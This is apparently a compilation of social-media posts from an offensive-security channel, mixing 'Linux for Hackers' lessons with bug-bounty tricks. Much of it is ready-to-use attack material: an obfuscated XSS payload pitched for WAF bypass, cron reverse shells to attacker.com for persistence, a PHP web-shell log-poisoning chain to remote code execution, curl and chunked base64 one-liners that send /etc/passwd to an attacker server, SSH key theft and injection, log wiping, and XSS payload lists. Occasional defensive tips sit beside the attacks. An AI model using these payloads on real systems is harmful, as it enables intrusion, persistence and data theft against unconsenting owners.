🇯🇵 Japanese Obfuscated XSS Payload - 芸術的な難読化

あ='',い=!あ+あ,う=!い+あ,え=あ+{},お=い[あ++],か=い[き=あ],
く=++き+あ,け=え[き+く],
い[け+=え[あ]+(い.う+え)[あ]+う[く]+お+か+い[き]+け+お+え[あ]+か][け](う[あ]+う[き]+い[く]+か+お+"('ハッキングされました')")()

How It Works:
1️⃣ 変数名難読化: Uses Japanese hiragana (あ, い, う) as variables
2️⃣ Type Coercion Magic:

!あ+あ → "false"
あ+{} → "[object Object]"

3️⃣ Builds "alert": Gradually constructs alert('ハッキングされました')

Why It's Cool:
✅ Bypasses WAFs that don't expect Unicode variables
✅ Evades simple keyword filters (alert, prompt)
✅ Works in modern browsers (Chrome/Firefox/Edge)

Try It Yourself:

👉🏻 Paste in console to see "ハッキングされました" popup
👉🏻 Modify the final string for custom XSS

🔍 Want More Advanced Payloads?
Visit https://github.com/cybers.../XSS for:

⚡️ obfuscated XSS techniques
⚡️ WAF bypass drills

📡 Learn real red team tactics on @cybersecplayground

💎 other CyberSecPlayground Medias:
🔗 Website
🔗 Github
🔗 Medium

Like/Repost if you'd use this in your next bounty test!
#XSS #WebSecurity #BugBounty #Japan #HackerArt

🧠 Unicode-Based XSS Payloads – Ancient Scripts vs. Modern Filters

This file demonstrates Unicode-obfuscated XSS (Cross-Site Scripting) payloads that leverage non-standard Unicode characters such as Sumerian Cuneiform and Japanese Kana to bypass naive input filters, WAFs, or static regex-based sanitization. These payloads are functional, stealthy, and great for both bug bounty testing and educational demonstrations.

Read More on Github

🧠 Linux for Hackers – Day 10
📍 Cron Jobs: Scheduled Tasks & Attack Vectors

In Linux, cron jobs automate tasks at scheduled times. But if misconfigured, they’re also a privilege escalation or persistence goldmine.

⏰ What is Cron?
A service that executes commands or scripts at specific times or intervals.

🗂 Cron jobs are stored in:

/etc/crontab

/etc/cron.d/

crontab -e (user-specific jobs)

/var/spool/cron/

🔧 Syntax Breakdown:

* * * * * command
│ │ │ │ │
│ │ │ │ └─ Day of week (0-6)
│ │ │ └─── Month (1-12)
│ │ └───── Day of month (1-31)
│ └─────── Hour (0-23)
└───────── Minute (0-59)

Example:

*/5 * * * * /home/user/backup.sh

→ runs every 5 minutes.

⚠️ Hacker Use Cases:

Writable Script Escalation
If a cron job runs /opt/script.sh as root and it’s writable by your user, inject payload:

echo "bash -i >& /dev/tcp/attacker.com/4444 0>&1" >> /opt/script.sh

Persistent Backdoor via Crontab:

(crontab -l ; echo "* * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1") | crontab -

Executes every minute 😈

🧪 Try This Task:

View your user’s cron jobs:

crontab -l

Add a new job:

crontab -e

Insert:

*/1 * * * * echo "Job ran at $(date)" >> /tmp/cronlog.txt

Check /tmp/cronlog.txt after a minute.

🔐 Defensive Tip:
Always audit /etc/crontab, /etc/cron.d/, and user crontabs for suspicious or unknown entries.

📡 Follow @cybersecplayground for daily Linux hacking knowledge bombs.

💎 other CyberSecPlayground Medias:
🔗 Website
🔗 Github
🔗 Medium

#Linux_for_Hackers
#linux #cron #persistence #redteam #infosec #privilegeescalation

🔥 Server Log Injection + LFI = RCE 💥
This classic but deadly combo is still exploitable in many real-world targets, especially legacy systems!

🧩 How It Works:

1️⃣ Log Injection
Many web apps log headers like User-Agent, Referer, etc.

You send:

User-Agent: <?php system($_GET['cmd']); ?>

💥 Now the access log contains raw PHP code.

2️⃣ Log File Path Known or Guessable
E.g., /var/log/apache2/access.log
or even better:
Web-accessible logs at /logs/access.log

3️⃣ Combine With LFI
If the app has a Local File Inclusion bug, like:

/index?page=../../logs/access.log&cmd=id

🔥 Boom: Your injected PHP runs — Remote Code Execution achieved.

⚙️ Real-World Use:
✅ Penetration tests
✅ CTF challenges
✅ Bug bounty on legacy systems

🛡 Mitigation Tips:
• Never trust user input in logs
• Set logs outside web root
• Sanitize input in headers
• Disable LFI vulnerabilities

⚠️ Responsible Use Only!
This technique can give full control over servers — handle with care and ethical intent.

📢 Stay sharp with @cybersecplayground
#BugBounty #LFI #RCE #LogInjection #CyberSecurity #CTF #infosec

🧠 Linux for Hackers – Day 11
📍 SSH: Access, Persistence & Key Hijacking

SSH is the gateway to most Linux servers. If you understand how it works, you can:
✅ Gain access
✅ Persist undetected
✅ Hijack users or escalate privileges

🔐 What is SSH?
SSH (Secure Shell) is a protocol used to securely access and control remote systems.

🧬 Common usage:

ssh user@ip_address

🗂 Key Files Involved:
~/.ssh/id_rsa → Your private key
~/.ssh/id_rsa.pub → Your public key
~/.ssh/authorized_keys → Remote file that lists public keys allowed to access this user

🧠 Attacker Techniques:

1️⃣ Steal Private Keys

find / -name id_rsa 2>/dev/null

If you find one, check:

cat id_rsa

Try logging in with it:

ssh -i id_rsa user@target

2️⃣ Inject Your Public Key

Once you get access, add your public key to:

~/.ssh/authorized_keys

Now you can log in without a password anytime. 🔓

3️⃣ Abuse SSH Configs

Check /etc/ssh/sshd_config for:
🔸 PermitRootLogin yes
🔸 PasswordAuthentication yes
🔸 Misconfigs = easy access.

🧪 Try This Task:

⚡️ Generate a key pair:

ssh-keygen

⚡️ Copy your key to a target (if allowed):

ssh-copy-id user@target

⚡️ Or manually append to their authorized_keys file:

cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys

⚡️ Now login with no password:

ssh user@target

📌 Red Team Tip:
Always check .ssh/ directories during post-exploitation. Keys = persistence.

📡 Learn offensive tactics daily at @cybersecplayground

#Linux_for_Hackers
#linux #ssh #persistence #redteam #infosec #pentesting #hacking

💡 Blind RCE File Exfiltration via curl

If you’ve landed a Blind Remote Code Execution (RCE) but can trigger outbound HTTP requests (OOB — Out of Band), you can steal files from the target server without direct output.

🔹 Technique: Using curl with -d @file

When you run:

curl -d @index.php https://OOB_SERVER

-d @index.php → Reads the entire file index.php and sends it in the HTTP request body.

The OOB server receives the full file contents, even if the RCE output is not directly visible.

📌 Example Exploit Flow:
You control an OOB listener:

python3 -m http.server 8080

👉🏻 or use Burp Collaborator / Interactsh.

Trigger the Blind RCE on the target with:

curl -d @/etc/passwd https://your-server.com

The file contents are sent to your server in the POST request body.

🔥 Why This Works
⚡️ The @ syntax in curl tells it to read a local file instead of sending raw text.
⚡️ Perfect for exfiltrating sensitive files (config files, source code, creds) over HTTP in a single request.

🛡 Defense:
✅ Restrict outbound HTTP requests from servers (Egress filtering).
✅ Disable curl, wget, and similar tools in restricted environments.
✅ Use web application firewalls (WAFs) to detect suspicious HTTP patterns.

📢 Follow @cybersecplayground for more RCE & exfiltration tricks.
#RCE #BugBounty #curl #Exfiltration #Infosec #CyberSecurity

🧠 Linux for Hackers – Day 12
📍 File Permissions & Privilege Escalation Basics
Today we dive deeper into Linux file permissions and how attackers (and pentesters) can use them to escalate privileges.

📌 Understanding File Permissions
In Linux, every file and directory has three types of permissions for three different entities:

Owner (u) – The user who owns the file.
Group (g) – Users in the file's group.
Others (o) – All other users.

Permissions are represented as:
r → read
w → write
x → execute

Example:

-rwxr-x---

Owner → rwx (read, write, execute)
Group → r-x (read, execute)
Others → --- (no permissions)

🔍 Changing Permissions

chmod 755 file.txt   # rwxr-xr-x
chmod u+x script.sh  # Add execute for owner
chmod g-w file.txt   # Remove write from group

🚀 Privilege Escalation via Permissions
World-writable files (chmod 777) can be modified by anyone — a huge security risk.

SUID/SGID bits: Special permissions that allow executing as the file owner or group.

chmod u+s binary     # SUID
chmod g+s binary     # SGID

If these are set on sensitive binaries, attackers can escalate privileges.

Example to find SUID binaries:

find / -perm -4000 2>/dev/null

✅ Pentester Tip:

- Check /etc/passwd and /etc/shadow for incorrect permissions.
- Watch for writable configuration files for services running as root.
- SUID-enabled binaries with unintended features can often be abused.

📢 Follow @CyberSecPlayground for more daily Linux hacking lessons, tips, and real-world pentesting tricks!

💬 Like & share to support the series.
🔗 Read more at GITHUB

#Linux_for_Hackers
#linux #hacking #pentesting #infosec

🚀 Next.js WAF Bypass: Cookie Reflection Exploit
Scenario:

👉🏻 Next.js app reflecting two cookies in pageProps
👀 WAF blocking malicious payloads in cookies

🔍 The Breakthrough:

Cookie: cookie1=alert(1); cookie2=x → 403 ❌
Cookie: cookie1=alert; cookie2=(1) → 403 ❌
Cookie: cookie2=(1); cookie1=alert → 200 ✅

Why This Works:
1️⃣ Order Matters: WAF processes cookies sequentially
2️⃣ Split Logic: Neither cookie alone triggers the WAF
3️⃣ Execution Flow: Next.js combines them during pageProps hydration

🛠 Exploitation Steps:
🔸 Identify reflected cookies in NEXT_DATA script
🔸 Split your XSS payload (alert(1) → "alert" + "(1)")
🔸 Reverse the cookie order to bypass signature detection

💡 Pro Tip: Test with cookie2=);cookie1=alert(1// for DOM XSS!

📢 Follow @cybersecplayground for more RCE & exfiltration tricks.

#WebSecurity #WAFBypass #NextJS #BugBounty #XSS

🧠 Linux for Hackers – Day 13
📍 Environment Variables & PATH Hijacking 🛠

1️⃣ What Are Environment Variables?

Environment variables are key-value pairs that store shell and system configurations. Today, we’ll learn about them and how PATH hijacking can be exploited.

🔹 Common Environment Variables:

$HOME → Home directory
$USER → Current username
$PATH → Directories searched for executables

2️⃣ Modifying Environment Variables

You can set or modify environment variables using:

export VAR=value
export PATH=$PATH:/opt/tools

Persistent changes can be made in:
~/.bashrc (user-specific)
/etc/profile (system-wide)

🔹 PATH Hijacking Example:
If /tmp is in $PATH before /bin, an attacker could create a fake binary:

echo -e '#!/bin/bash\necho hacked' > /tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
ls

🔹 Defense Tips:
🔸 Keep $PATH clean and ordered
🔸 Avoid writable directories in $PATH
🔸 Use absolute paths for critical scripts

🚀 Pro Tip for Pentesters: Always check $PATH for writable directories — it’s a common privilege escalation trick.

📢 Follow @cybersecplayground for more Linux hacking lessons and security tips!

💬 Like & share & Give star to support the series.
🔗 Read more at GITHUB

#Linux_for_Hackers
#linux #hacking #pentesting #infosec

🚀 Bug Bounty Tip – Bypass Rate Limits with Race Conditions & Header Tricks

1️⃣ Race Condition Attacks (Outrunning the Counter)
Even strong brute-force protections can fail if you send requests at the exact same time.

🔸 HTTP/2 "Single-Packet" Attack → Use Turbo Intruder to send simultaneous login/OTP requests before the counter updates.

🔸 HTTP/1.1 "Last-Byte Sync" → Send almost all of a request, pause, then release the final bytes together (abusing Nagle’s algorithm).

💥 Result: OTP or password brute-force possible without triggering lockouts.

🔗 Read Full post at Medium And Github

💡 Stay sharp — timing & header tricks can sneak past “secure” protections.

📢 Follow @cybersecplayground for more daily bug bounty tactics & web hacking tips!
#bugbounty #ratelimit #racecondition #websecurity #cybersecplayground

🚨 CVE-2025-47812: Wing FTP Server RCE (CVSS 10.0)
109K+ servers exposed – Patch NOW!

🔍 Quick Facts:
⚠️ Impact: Unauthenticated Remote Code Execution → SYSTEM access

This vulnerability originates from Wing FTP Server's improper handling of NULL bytes within the username parameter during the authentication process. This allows attackers to inject Lua code directly into session files. These malicious session files are then executed when a valid session is loaded, leading to arbitrary command execution on the server.

PoC: GitHub Exploit (Use responsibly!)

Targets: All versions < Wing FTP 7.4.5

💥 Hunter.How Query:

product.name="Wing FTP Server" && after="2025-06-01"

View Live Targets

🛠 Mitigation:

1️⃣ EMERGENCY UPDATE to v7.4.5+
2️⃣ Block HTTP PUT/POST methods at WAF level
3️⃣ Hunt for cmd.exe spawns in logs

📚 Full Analysis:
🔗 Null Pointer to RCE Writeup

👇 Like/Share if you’ve seen active exploitation!
🔔 📢 Follow @cybersecplayground for more daily CVE and POC!

#CriticalVuln #RCE #PatchNow #BugBounty #CVE #POC #CVE_2025_47812

🧠 Linux for Hackers – Day 14
📍 Logs & System Auditing 🕵️‍♂️

📝 Goal: Learn how Linux logs system activities, how to read them, and how attackers might evade detection.

💎 Objective:

In the world of Linux, logging systems are often ignored—yet they hold the keys to diagnosing critical issues, uncovering security breaches, and tracing unauthorized access. For system administrators and cybersecurity professionals, logs provide the who, what, and why behind system failures and intrusions.

For penetration testers and ethical hackers, logs are the digital fingerprints that can expose your activity. The most effective attacks leave no trace, making log manipulation a crucial skill. But before you can cover your tracks, you must deeply understand Linux’s logging architecture.

🔹 Common Log Files:
/var/log/auth.log → Login attempts & sudo usage
/var/log/syslog → System-wide events
/var/log/kern.log → Kernel messages
journalctl → Central log viewer

⚡️ Some Examples:
🔸Initial Reconnaissance

journalctl -q –since “24 hours ago”

-This command quietly retrieves the last 24 hours of logs. The -q flag suppresses informational messages, reducing the noise and potential traces of your activities.

🔸Investigating User Activities

journalctl _UID=1000 –since “24 hours ago”

-This reveals that user “air” (UID 1000) has been actively using the system and has used “sudo” several times.

🔹 Check Logs:

grep "Failed" /var/log/auth.log
tail -n 50 /var/log/syslog
journalctl -p err

🔹 Attacker Tricks:
Clear logs:

echo "" > /var/log/auth.log

- Alter timestamps
- Redirect logs to attacker files

🎯 Your Task Today:
1️⃣ Find failed login attempts

grep "Failed" /var/log/auth.log

2️⃣ Monitor system logs live with:

tail -f /var/log/syslog

3️⃣ Correlate events using timestamps

💡 Pentester Tip: Logs are defenders’ eyes — if you blind them, do it without leaving footprints.

📢 Follow CyberSecPlayground for more Linux hacking tips
ℹ️ Read more at Gitbub : https://github.com/cybersecplaygr...
⚠️ Dont Forget to boost channel : BOOST

#Linux_for_Hackers
#linux #hacking #pentesting #infosec #pentest

🕵️ Recon Trick – One-Liner to Find Sensitive Files

ℹ️ Attackers often look for misconfigured files in subdomains. Just one exposed file (like /.env or /config.json) can leak database passwords, API keys, and tokens.

Here’s a powerful one-liner to automate the hunt:

subfinder -d domain.com -silent | \
while read host; do \
 for path in /config.js /config.json /app/config.js /settings.json /database.json /firebase.json /.env /.env.production /api_keys.json /credentials.json /secrets.json /google-services.json /package.json /package-lock.json /composer.json /pom.xml /docker-compose.yml /manifest.json /service-worker.js; do \
   echo "$host$path"; \
 done; \
done | httpx -mc 200

🔎 How it works:

➕ subfinder → finds subdomains
➕ Loops through juicy file paths (config.json, .env, docker-compose.yml, etc.)
➕ httpx -mc 200 → filters valid hits only

💡 Why it’s dangerous:

/.env → DB creds, JWT secrets
/config.json → API tokens
/firebase.json → Firebase access
/docker-compose.yml → internal service info

⚔️ Defense Tips:

🔸 Never expose sensitive files in web root
🔸 Use .gitignore & deployment rules to exclude secrets
🔸 Scan your own assets with this method before attackers do

🔗 Follow @cybersecplayground for more recon & hacking tricks
👍 Like & 🔁 Share to help others secure their apps!

#recon #bugbounty #infosec #osint #cybersecurity

🧠 Linux for Hackers – Day 15
📍 Networking Fundamentals for Hackers

Today we explore Linux networking basics — essential for both defenders and attackers , networking is related to cybersecurity as computer networks are often the primary targets of cyber attacks. Understanding networking protocols and configurations is essential for cybersecurity professionals to prevent and mitigate these attacks.

🔹 Key Commands:

ip a → Show network interfaces
ping target.com → Test connectivity
ss -tulnp → Show open/listening ports
traceroute target.com → Trace network path
dig domain.com → DNS lookup
curl ifconfig.me → Find your public IP

🔹 Traffic Monitoring:

ss -tnp
tcpdump -i eth0

With these, you can catch live traffic and detect connections.

🔹 Attacker Angle:
Hackers use these to:
⚡️ Discover open ports
⚡️ Map networks
⚡️ Enumerate DNS records
⚡️ Monitor traffic for credentials

✅ Your Task:
1️⃣ Run ss -tulnp and list open ports.
2️⃣ Capture packets with tcpdump -i eth0.
3️⃣ Use dig to enumerate DNS records.

💡 Pentester Tip: Networking is the backbone of hacking. Master the wire, and you master the attack.

🔗 Read on github

📢 Follow @CyberSecPlayground for more Linux hacking lessons and real-world pentesting tricks!

#Linux_for_Hackers
#linux #hacking #pentesting #infosec #pentest

🚨 Exfiltrating Files via Base64 + Chunked Requests

Sometimes servers or firewalls block direct file leaks.
A sneaky trick is to encode files in Base64 and send them in small chunks to bypass restrictions.

💻 One-liner:

i=0; base64 /etc/passwd | fold -w 60 | \
while read -r line; do \
  curl -s -X POST -d "$line" http://YOUR-VPS.COM/chunk$i; \
  i=$((i+1)); \
  sleep 0.5; \
done

🔎 How it works
1️⃣ Encodes /etc/passwd into Base64
2️⃣ Splits into 60-char chunks
3️⃣ Sends each chunk via POST requests
4️⃣ Adds delay to avoid WAF / IDS detection

⚔️ Defensive Notes
👉🏻 Monitor repeated outbound requests
👉🏻 Watch for Base64 patterns in traffic
👉🏻 Apply strict egress filtering

🔐 Red teamers use it for blind RCE exfiltration — defenders should know how to spot it.

👉 Follow @cybersecplayground for more daily tips & payloads.
❤️ Like & Share to spread the knowledge!

✅ Inspired by AL𓆣FA's Comment
#infosec #pentest #redteam #cybersecurity

🧠 Linux for Hackers – Day 16
📍 Firewalls & Packet Filtering (iptables & ufw)

Firewalls are the gatekeepers of Linux systems — understanding them is critical for both defenders and attackers.

🔹 iptables Basics
- Traffic is filtered by tables (filter, nat, mangle)
- Each table has chains (INPUT, OUTPUT, FORWARD)
- Rules are processed top-to-bottom

Example:

iptables -L -n -v       # List all rules
iptables -A INPUT -p tcp --dport 22 -j ACCEPT   # Allow SSH
iptables -A INPUT -j DROP   # Drop everything else

🔹 ufw – Uncomplicated Firewall
Simpler frontend to iptables:

ufw status
ufw allow 80/tcp
ufw deny 23/tcp

🔍 Attacker’s View
Hackers enumerate firewall rules to see what’s open:
⚡️ nmap -Pn -p- target.com (port scan even if ICMP blocked)
⚡️ Tunneling attacks (e.g., SSH over port 443 to bypass restrictions)

🔥 Pentester Tip: Misconfigured firewalls often allow outbound traffic — attackers exploit this to exfiltrate data or create reverse shells.

✅ Your Task:
1️⃣ Run iptables -L -n -v and analyze your firewall.
2️⃣ Block a port with iptables, then try connecting.
3️⃣ Use ufw to allow only HTTP/HTTPS and deny all else.

🔗 Read Full post at GITHUB

📢 Follow @CyberSecPlayground for more Linux hacking lessons and real-world pentesting tricks!

#Linux_for_Hackers
#linux #hacking #pentesting #infosec #pentest

🕵️ 50+ Parameters Devs Actually Use (and Hunters Forget)

When you’re testing apps, don’t just fuzz id=123.
Real-world apps hide sensitive behavior behind parameters.
Try flipping, modifying, or abusing these 👇

Here’s a 🔑 list to try:

debug=true
test=1
admin=1
isAdmin=true
isPremium=true
superuser=1
role=user → flip to admin
uid=42
userid=42
account=42
profile=42
ref=partner → flip to internal
partnerId=1
affiliate=evil
redirect=/dashboard
redir=/home
url=http://evil.com
next=/secret
returnUrl=http://evil.com
callback=https://attacker.com
continue=/admin
dest=http://evil.com
theme=dark → inject HTML/JS
style=default → try <script>
view=profile → try admin
page=1 → try admin, dashboard
path=/images/1.png → SSRF/LFI candidate
file=report.pdf → ../etc/passwd
doc=123 → try higher/lower IDs
documentId=999
reportId=999
config=prod → change to dev
settings=default → try debug
mode=live → flip to test
env=production → flip to staging
stage=dev
preview=true → bypass controls
draft=1
beta=1
source=external → flip to internal
origin=trusted
cache=0 → sometimes unlocks hidden debug info
nocache=1
format=json → try xml, yaml, php
output=pdf → try json, txt
type=user → try admin or super
roleId=1
level=1 → crank to 9999
rank=1
step=1
flag=0 → flip to 1
feature=off → flip to on
module=payments → try admin
tab=users → try config
section=dashboard → try admin
action=edit → try delete
method=get → try post/put/delete
operation=read → try write/delete

⚔️ Tips for Hunters
1️⃣ Flip booleans (true/false, 0/1)
2️⃣ Change environment (prod/dev/test/stage)
3️⃣ Abuse redirects (returnUrl, callback)
4️⃣ Try role escalation (user → admin)
5️⃣ Test format conversions (json/xml/yaml/php)
6️⃣ Look for hidden environments (prod/dev/test/stage)

🔐 Defensive Note:
- Parameter fuzzing is a must in security testing — don’t assume unused params are harmless.
- Audit all query/body parameters and enforce strict allowlists — unused params often lead to privilege escalation.

👉 Follow @cybersecplayground for more payloads, tips, and bug bounty tricks.

🔗 Github | Medium
❤️ Like & Share if this helped your hunting!

#bugbounty #pentest #infosec #cybersecurity

🧠 Linux for Hackers – Day 17
📍 Secure Shell (SSH) & Tunneling Tricks

SSH is the lifeline for admins — and a powerful tool for hackers too. Today we’ll cover both hardening SSH and tunneling attacks.

🔹 SSH Basics

ssh user@target
scp file.txt user@target:/tmp/

🔹 SSH Hardening

1️⃣ Disable root login → edit /etc/ssh/sshd_config → PermitRootLogin no
2️⃣ Use key-based auth instead of passwords → ssh-keygen -t ed25519
3️⃣ Change default port(22) → Port 2222
4️⃣ Limit users → AllowUsers alice bob


🔹 Tunneling (For Attackers & Pentesters)

Local Port Forwarding:

ssh -L 8080:localhost:3306 user@target

⚡️Access remote MySQL via localhost.

Remote Port Forwarding:

ssh -R 4444:localhost:22 attacker@evil.com

⚡️Create a reverse shell-like tunnel.

Dynamic Proxy (SOCKS):

ssh -D 9050 user@target

⚡️ Route traffic via SOCKS proxy (works with proxychains).

🔥 Pentester Tip: Firewalls often allow outbound SSH on port 22 or even port 443. Attackers exploit this to bypass restrictions and pivot into internal networks.

✅ Your Task:
-Harden your SSH server by disabling root login & enforcing keys.
-Create a local port forward to access a blocked service.
-Use proxychains with SSH dynamic proxy for stealthy browsing.

Read More At Github

📢 Follow @CyberSecPlayground for more Linux hacking lessons and pentesting guides!

❤️ Dont forget to Like & Share!
#Linux_for_Hackers
#linux #hacking #pentesting #infosec #pentest

🔎 XSS Payloads Every Pentester Should Try

When hunting for XSS during pentests or bug bounty testing, sometimes the most basic payloads work — but often, you need creative variations to bypass filters and trigger execution.

Here are a few useful payloads to add to your arsenal

<img src=x onerror=alert()>
<img/src=x onerror=alert()>
<img src="x"/onerror=alert()>
<img src="x"onerror=alert()>
<img\nsrc="x"onerror=alert()>
<img src="x"> <!-- proves HTML injection -->

✅ These confirm if you can inject HTML/JavaScript via img.

<iframe srcdoc="<script>alert(document.domain)</script>"></iframe>
<iframe srcdoc="<script src=http://whitelisteddomain.com></script>"></iframe>

✅ iframe srcdoc is powerful for bypassing certain contexts — it lets you execute inline or external scripts.

👉 Always test different contexts (script, iframe, svg, input, etc.) because XSS payloads often behave differently depending on where they’re injected.

💡 Pro tip: Build your own XSS wordlist from tested payloads and use it with fuzzing tools like ffuf, dalfox, or Burp Intruder to maximize coverage.

📢 Want more payloads, bypass tricks, and real-world bug bounty methodologies?
Join @cybersecplayground and level up your hacking skills daily!

🔗 CyberSecPlayground Xss Payload list : Github

#bugbounty #xss #pentest #cybersecurity

🚀 NEW RELEASE: The Ultimate Bug Bounty Checklist! 🚀

Tired of missing critical vulnerabilities during your recon? We've got you covered!

I've just published a massive, comprehensive Web Application Security Testing Checklist on GitHub. It's designed to take you from initial recon all the way to post-exploitation, ensuring you don't miss a thing.

🔍 What's inside?

Phased approach: Recon, Config Testing, Auth, Input Validation, Business Logic & more!

Mapped to the latest OWASP Top 10 2023.

Tools recommendations and methodology.

This is your new go-to guide for structured and successful hacking.

Grab it now, contribute, and star the repo! ⭐️
👉 https://github.com/cybersecplayground/bugbounty-Tips-and-Tricks/blob/main/CheckList/Comprehensive%20Web%20Application%20Security%20Testing%20Checklist.md

#BugBounty #WebSecurity #Checklist #OSINT #PenTesting #CyberSecurity #Infosec #OWASP #GitHub

🧠 Linux for Hackers Day 18
📍 Linux Kernel & Exploit Basics

Today we dive into the Linux Kernel — the heart of the operating system — and learn why hackers and pentesters focus on kernel exploits for privilege escalation.

🔹 What is the Kernel?

The kernel is the core of Linux that manages memory, processes, devices, and system calls.
Running in ring 0 (highest privilege), it has complete control of the system.

🔹 Checking Kernel Version
Attackers often start by fingerprinting the kernel:

uname -r        # Kernel version
uname -a        # Full system info
cat /proc/version

Example output:

5.4.0-77-generic

🔹 Why Kernel Version Matters
⚡️Each version may contain known vulnerabilities.
⚡️Exploit databases (ExploitDB, GitHub PoCs, etc.) can be searched against the version.

Example:
Dirty COW (CVE-2016-5195) affects many Linux versions.
OverlayFS (CVE-2015-1328) allows privilege escalation.

🔹 Enumerating Exploitable Kernels
Use scripts like:

linux-exploit-suggester.sh
lse.sh

- These tools compare your kernel & system info with known exploits.

🔹 Compiling & Running Exploits
Most exploits come in C:

gcc exploit.c -o exploit
./exploit

⚠️ Note: Always test in lab environments (VMs, Docker) before running on real systems.

✅ Pentester Tip:
- Kernel exploits are powerful but noisy.
- Always try “safer” privilege escalation methods (misconfigs, weak perms, sudo abuse) before dropping kernel exploits.

📢 Follow @CyberSecPlayground for more daily Linux hacking lessons, privilege escalation tricks, and exploit deep dives!

💬 Like & share to support the series

🔗 Read More

#Linux_for_Hackers
#linux #privilegeescalation #cybersecurity #ctf #redteam